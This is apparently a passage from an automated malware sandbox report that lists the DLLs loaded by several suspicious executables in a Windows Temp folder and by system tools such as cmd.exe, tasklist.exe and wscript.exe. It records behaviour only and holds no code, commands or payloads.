Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008738001\fMb18eF.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\662510\Ryan.com	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008743001\QwGWuQZ.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\GuardTech Solutions\LionGuard.scr	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe	Section loaded: ondemandconnroutehelper.dll
